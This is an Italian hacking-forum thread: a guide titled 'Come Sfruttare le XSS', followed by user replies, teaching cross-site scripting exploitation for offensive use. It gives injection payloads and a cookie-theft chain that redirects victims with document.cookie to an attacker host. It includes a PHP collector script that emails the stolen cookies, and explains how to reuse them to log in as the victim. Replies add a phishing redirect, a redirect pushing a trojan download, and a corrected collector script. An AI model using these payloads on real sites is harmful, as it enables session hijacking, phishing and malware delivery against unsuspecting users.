Guida XSS

murdercode_imported

Utente Electrum
10 Giugno 2007
174
11
4
101
+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.infernet-x.com

# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias "murdercode") , non mi assumo
alcuna responsabilità circa l'uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Infernet ( http://www.infernet-x.com ) .
L'autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall'autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking
italiana Infernet X Forum wh italian hackin' community , purchè non modificato in ogni sua parte . In caso di un eventuale
copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .

Per traduzioni + For translations
# murdercode(at)gmail(dot)com

HOW TO - Come Sfruttare le XSS (Cross Site Scripting)

# Introduzione
La tecnica del Cross Site Scriptin (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup
dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e
può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico
o statico .

# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è dunque far si che la pagina contenga del codice (preferibilmente javascript) all'interno della pagina , avendo così la possibilità di sfruttarla . Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell'esempio :
Codice:
<form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form>
Prendiamo in considerazione il fatto che quello che andremo a scrivere nella input viene salvato nel value , quindi se cerchiamo pippo la input sarà :
Codice:
<input type="text" id="cerca" name="cerca" value="pippo">
Vediamo ora come far eseguire del codice Javascript .
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input :
Codice:
<input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>">
Quindi la input viene chiusa e viene eseguito il javascript .
Ovviamente esistono altre mille modi , altro esempio :
Codice:
<textarea>lanostraricerca</textarea>
Dando il valore </textarea><script>alert("xss");</script><textarea> uscirà qualcosa del genere :
Codice:
<textarea></textarea><script>alert("xss");</script><textarea></textarea>
E' possibile fare ciò anche per i background , bgcolor , parametri p e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser .

# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all'utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove
l'utilizzo di tale CMS è riservato solo al server che lo utilizza .
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi
solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque
utilizzata per fare azioni di Phishing .

# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo
Codice:
www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>
oppure tipo
Codice:
www.sito.it/pagina.php?variabile=">[XSS]
Ebbene , sono entrambi la stessa cosa . Al posto di XSS va inserito il codice javascript con tanto di tag per aprire
e chiudere lo script in javascript .
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi
dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>
Dove SITO verrà sostituito con
[code]www.nostrosito.it/rubacookie.php?cookie=
Andiamo ora a costruire la pagina rubacookie.php
PHP:
<?
mail("[email protected]","Abbiamo rubato i cookie",$_GET['cookie'];
?>
In questo modo invieremo a noi stessi una mail con i cookie rubati .
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (se utilizziamo Firefox possiamo usare Add'n'Edit Cookies , un plugin per Firefox)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati
come user rubato . Da qui vola l'immaginazione .

# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile
rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse
funzionalità del sito che abbiamo scelto di attaccare .
 
umm nn ciò capito niente di niente T_T

nn è che potresti fare un cosa del genere prendendo come esempio travian?

e poi bisogna per forza avere un nostro sito per rubbare i cokie?
 
Il nostro sito serve per uppare il file che raccoglierà i cookie..se hai qualkuno che te lo mette al posto tuo...:D
 
a me è piaciuta molto!! forse la si può migliorare aggiungendo i vari tipi di xss
 
Nice...

Aggiungerei la possibilità di sfruttare una "XSS Cattiva" per far scaricare alla nostra vittima qualsiasi cosa noi vogliamo sia esso un trojan o un qualsiasi applicativo utile a i nostri scopi.

Costruiremo la XSS in questo modo
Codice:
www.sito.it/pagina.php?variabile="><script>document.location="www.nostrosito.it/programma.exe";</script>

In questo modo potremmo spacciare la provenienza del file da un sito "attendibile"
 
bella la guida ma nn ho capito bene una cosa:
www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>

questo lo devo scrivere io sul sito vulnerabile? o lo devo fare cliccare alla vittima?

www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>

questo?
al posto di sito metto il mio sito con la pagina "rubacookie". Quando provo però a farlo su me stesso, cioè scrivo direttamente nella barra degli indirizzi miosito.it/rubacookie.php mi spunta scritto questo:
Parse error: syntax error, unexpected ';' in /membri/akroma8/rubacookie.php on line 2

la pagina rubacookie ho fatto copia incolla con quella di murder quindi nn dovrebbere essere sbagliata....Aiuto!!!:look:
 
Si è errata lo dico a te ma anche a murder, sostituiscila con questa

Codice:
<?
$cookie=$_GET['cookie'];
mail("[email protected]","cookie rubati",$cookie);
?>
 
grazie lord lamorah, ma nn ho capito bene come si fanno a sfruttare...tutti gli XSS che ci sn postati nel forum, li devo fare aprire alla vittima, oppure li devo scrivere io nella barra degli indirizzi? nn ce l'ho molto chiaro questo argomento...mi daresti il tuo contatto msn please...per il disturbo della spiegazione ti do un feedback...:lol:
 
Allora, xss cm ><script>alert(document.cookie);</script> o <script>alert('bug xss')</script> devi immetterle nelle textbox del sito tipo la famosissima textbox del motore di ricerca (del sito in questione)
Altre come le iniezioni cgi-bin le devi immettere nella barra degli indirizzi:
http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('Hacked%20by%20hacker') (va be nn lo visualizza cmq j sta per javascript e pi tra javascripte alert ci vanno i due punti)

In genere dipende molto anche dalla deficienza dell'admin del sito :D
Spero di essere stato abbastanza chiaro :p
 
si ora ho capito, ma nn riesco a capire come faccio a prendere i cookie di qualcuno, se io scrivo: <script>alert(document.cookie);</script> nel textbox "Cerca"....
 
L'hacking è una scienza, e va studiata.

Non tutte le XSS sono sfruttabbili. Hai presente la pagina ruba_cookie.php? tramite quella ti invii i cookie di quel sito internet, e nei cookie sono contenute le pass criptate in md5 o SHA-1 dipende.

Rubando i cookie quindi ottieni dei dati, come ottenerli?

Basta inserire nel textbox o nel collegamento che usa il metodo get
Codice:
"><script>location.href="http://evil.it/ruba_cookie.php?cookie="+document.cookie;</script>
o
"><script>location.href="http://evil.it/ruba_cookie.php?cookie=",document.cookie;</script>
e te li invia alla tua e-mail.

Ci siamo?

L'hacking è scienza ricorda... non è distruzione
 
tanto l'aveva già scritto murder.

L'hacking è scienza ricorda... non è distruzione

Chiamami Lamorak o Lamo. Se vuoi lord, ed io ti chiamo Dottor